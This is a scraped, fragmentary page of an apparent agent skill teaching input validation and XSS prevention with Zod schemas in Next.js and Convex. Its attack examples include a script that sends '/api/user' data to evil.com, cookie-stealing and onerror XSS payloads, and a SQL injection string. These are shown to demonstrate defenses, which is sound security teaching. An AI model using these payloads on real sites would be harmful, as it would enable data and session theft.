Loading...
Loading...
Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate input", "XSS", "cross-site scripting", "sanitize", "Zod", "injection prevention", "validateRequest", "safeTextSchema", "user input security".
npx skill4agent add harperaa/secure-claude-skills input-validation-xss-prevention<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script><>"&'.transform()lib/validation.tslib/validateRequest.tsimport { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// Validate and sanitize
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // Returns 400 with field errors
}
// TypeScript knows exact shape, data is XSS-sanitized
const sanitizedData = validation.data;
// Safe to use
}// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// Authentication
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// Validation & Sanitization
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// Data is now:
// - Type-safe (TypeScript validated)
// - Sanitized (XSS characters removed)
// - Validated (length, format checked)
// Safe to store in database
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};lib/validation.tsimport { emailSchema } from '@/lib/validation';
const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;
const email = validation.data; // Normalized, lowercaseimport { safeTextSchema } from '@/lib/validation';
const validation = validateRequest(safeTextSchema, inputText);< > " &'import { safeLongTextSchema } from '@/lib/validation';
const validation = validateRequest(safeLongTextSchema, description);import { usernameSchema } from '@/lib/validation';
const validation = validateRequest(usernameSchema, username);import { urlSchema } from '@/lib/validation';
const validation = validateRequest(urlSchema, websiteUrl);import { contactFormSchema } from '@/lib/validation';
const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;
const { name, email, subject, message } = validation.data;{
name: string, // safeTextSchema (1-100 chars)
email: string, // emailSchema
subject: string, // safeTextSchema (1-100 chars)
message: string // safeLongTextSchema (1-5000 chars)
}import { createPostSchema } from '@/lib/validation';
const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;
const { title, content, tags } = validation.data;{
title: string, // safeTextSchema (1-100 chars)
content: string, // safeLongTextSchema (1-5000 chars)
tags: string[] | null // Array of safeText strings (optional)
}import { updateProfileSchema } from '@/lib/validation';
const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;
const { displayName, bio, website } = validation.data;{
displayName: string | null, // safeTextSchema (optional)
bio: string | null, // safeLongTextSchema (optional)
website: string | null // urlSchema (optional, HTTPS only)
}import { idSchema } from '@/lib/validation';
const validation = validateRequest(idSchema, itemId);import { positiveIntegerSchema } from '@/lib/validation';
const validation = validateRequest(positiveIntegerSchema, quantity);import { paginationSchema } from '@/lib/validation';
const validation = validateRequest(paginationSchema, {
page: queryParams.page,
limit: queryParams.limit
});
const { page, limit } = validation.data;{
page: number, // Default: 1, Min: 1
limit: number // Default: 10, Min: 1, Max: 100
}// lib/validation.ts
import { z } from 'zod';
// Add your custom schema
export const myCustomSchema = z.object({
field: z.string()
.min(1, 'Required')
.max(200, 'Too long')
.trim()
.transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});
export type MyCustomData = z.infer<typeof myCustomSchema>;// Registration form with multiple validations
export const registrationSchema = z.object({
username: usernameSchema,
email: emailSchema,
password: z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character'),
passwordConfirm: z.string(),
agreeToTerms: z.boolean().refine(val => val === true, {
message: 'You must agree to terms'
})
}).refine((data) => data.password === data.passwordConfirm, {
message: "Passwords don't match",
path: ["passwordConfirm"]
});export const orderSchema = z.object({
orderType: z.enum(['pickup', 'delivery']),
address: z.string().optional(),
phone: z.string().optional()
}).refine(
(data) => {
if (data.orderType === 'delivery') {
return !!data.address && !!data.phone;
}
return true;
},
{
message: 'Address and phone required for delivery',
path: ['address']
}
);'use client';
import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';
export function CreatePostForm() {
const [errors, setErrors] = useState<Record<string, string>>({});
async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
e.preventDefault();
setErrors({});
const formData = new FormData(e.currentTarget);
const data = {
title: formData.get('title'),
content: formData.get('content'),
tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
};
// Client-side validation (UX improvement, not security)
const validation = createPostSchema.safeParse(data);
if (!validation.success) {
const fieldErrors: Record<string, string> = {};
validation.error.errors.forEach((err) => {
if (err.path[0]) {
fieldErrors[err.path[0].toString()] = err.message;
}
});
setErrors(fieldErrors);
return;
}
// Submit to server (server validates again!)
try {
const response = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(validation.data)
});
if (response.ok) {
alert('Post created!');
}
} catch (error) {
console.error('Error:', error);
}
}
return (
<form onSubmit={handleSubmit}>
<div>
<input name="title" placeholder="Title" />
{errors.title && <span className="error">{errors.title}</span>}
</div>
<div>
<textarea name="content" placeholder="Content" />
{errors.content && <span className="error">{errors.content}</span>}
</div>
<div>
<input name="tags" placeholder="Tags (comma separated)" />
{errors.tags && <span className="error">{errors.tags}</span>}
</div>
<button type="submit">Create Post</button>
</form>
);
}POST /api/comment
{
"content": "<script>alert(document.cookie)</script>"
}const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmlessPOST /api/search
{
"query": "'; DROP TABLE users; --"
}const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitizedPOST /api/profile
{
"bio": "A".repeat(1000000) // 1 million characters
}const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processingPOST /api/contact
{
"name": "<script>evil()</script>",
"email": "attacker@evil.com",
"subject": "<img src=x onerror=alert(1)>",
"message": "Normal message"
}const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d '{"title": "<script>alert(1)</script>"}'
# Expected: 200 OK, but title = "alert(1)"# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"
# Expected: 400 Bad Request
# {
# "error": "Validation failed",
# "details": {
# "title": "String must contain at most 100 character(s)"
# }
# }# Test invalid email
curl -X POST http://localhost:3000/api/contact \
-H "Content-Type: application/json" \
-d '{
"name": "Test",
"email": "not-an-email",
"subject": "Test",
"message": "Test"
}'
# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }validateRequest(){
error: "Validation failed",
details: {
fieldName: "Error message",
anotherField: "Another error"
}
}const schema = z.object({
required: safeTextSchema,
optional: safeTextSchema.optional(),
nullable: safeTextSchema.nullable(),
optionalWithDefault: safeTextSchema.default('default value')
});const schema = z.object({
tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
categories: z.array(z.string()).min(1, 'At least one category required')
});const schema = z.object({
status: z.enum(['draft', 'published', 'archived']),
priority: z.enum(['low', 'medium', 'high'])
});const schema = z.object({
age: z.number().int().min(18).max(120),
rating: z.number().min(1).max(5),
price: z.number().positive()
});const schema = z.object({
birthdate: z.string().datetime(),
appointmentDate: z.string().datetime()
.refine((date) => new Date(date) > new Date(), {
message: 'Appointment must be in the future'
})
});args// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";
export const createPost = mutation({
handler: async (ctx, args) => {
// Validate with Zod
const validation = createPostSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input: " + validation.error.message);
}
// Use sanitized data
const { title, content, tags } = validation.data;
await ctx.db.insert("posts", {
title,
content,
tags,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";
export const createItem = mutation({
handler: async (ctx, args) => {
// Validate each field with appropriate schema
const titleValidation = safeTextSchema.safeParse(args.title);
const descValidation = safeLongTextSchema.safeParse(args.description);
if (!titleValidation.success || !descValidation.success) {
throw new Error("Invalid input");
}
// Use sanitized data
await ctx.db.insert("items", {
title: titleValidation.data,
description: descValidation.data,
userId: ctx.auth.userId, // From Clerk authentication
createdAt: Date.now()
});
}
});// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
handler: async (ctx, args) => {
// VULNERABLE: args inserted directly without validation
await ctx.db.insert("items", args);
}
});
// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
handler: async (ctx, args) => {
const validation = createItemSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input");
}
await ctx.db.insert("items", {
title: validation.data.title,
description: validation.data.description,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});body.field.replace()csrf-protectionrate-limitingerror-handlingsecurity-testing